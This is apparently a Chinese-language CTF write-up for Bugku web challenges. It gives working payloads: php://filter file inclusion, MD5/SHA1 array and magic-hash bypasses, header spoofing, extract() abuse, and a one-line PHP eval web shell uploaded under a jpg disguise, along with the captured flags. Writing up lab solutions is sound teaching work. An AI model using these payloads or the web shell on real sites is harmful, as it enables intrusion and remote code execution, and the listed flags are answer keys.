源代码:
unescape编码:https://tool.chinaz.com/Tools/Escape.aspx
PS:p1+‘%35%34%61%61%32’ + p2 然后提交即可
67d709b2b54aa2aa648cf6e87a7114f1
文件包含:
file=php://filter/read=convert.base64-encode/resource=index.php #构造pyload
好像需要密码:
bp爆破密码:12468
备份是个好习惯:
有一串字符串 提示给的是备份 那就是找bak文件 尝试 index.php.bak
下载下来一个文件
大概的意思是将get的两个参数中的key替换为空,然后对key1,key2的值进行md5加密,
如果md5加密的值一样而未加密的值不同,就输出flag.
MD5绕过:
下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
pyload:http://114.67.175.224:10088/?kekeyy1=QNKCDZO&kekeyy2=240610708
shell:
cookies:
http://114.67.175.224:18865/index.php?line=&filename=a2V5cy50eHQ=
line : 可能是个列的参数意思 “a2V5cy50eHQ=” base64解码得到 “keys.txt”
前女友:
F12
查看源码发现了一个code.txt
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
大概的意思就是v1不等于v2,v1和v2的md5相等,strcmp是比较字符串(区分大小写),v3不等于flag。
payload:http://114.67.175.224:10561/?v1[]=1&v2[]=2&v3[]=1
你从哪里来
直接bp抓包伪造referer
头 Referer:https:www.google.com
MD5:
让我们输入一个a 然后输入:s155964671a
(考的MD5碰撞,网上有很多随便找一个即可。)
程序员本地网站:
直接bp抓包 然后添加一条:X-Forwarded-For: 127.0.0.1
即可获取flag。
各种绕过哟:
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
大概就是使uname的sha1和值与passwd的sha1的值相等即可,但是同时他们两个的值又不能相等。
payload:http://114.67.175.224:12978/?uname[]=1&id=margin
file_get_contents:
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
方法1:代码审计一下 使用php://input
伪协议绕过(需要抓包)
方法2 :根据if($ac === $f),构造?fn=flag.txt,&ac=bugku,最后得到flag
payload:http://114.67.175.224:16481/?&ac=bugku&fn=flag.txt
需要管理员:
使用御剑扫一下后台:robots.txt
访问一下看看 然后定义了一个传入的参数x,但是并没有告诉这个x应该是什么值 提示是管理员试一下是不是admin 构造payload:http://114.67.175.224:15572/resusl.php?x=admin
flag{7e69cdda3cf5c4dc101497149af576a8}
文件包含2:
先F12看一下源码 发现了一个upload.php
传一句话密码格式改为jpg 然后使用bp进行修改 最后菜刀连接
<script language="php">@eval($_POST[pass])</script>
找了一下flag 在/
根目录下 :flag{994b40acc26842efb530b6fbc99112b0}
getshell:
至此web篇就先跟新到这里了 最近比较忙没时间肝了,希望对大家有所帮助感谢大家!!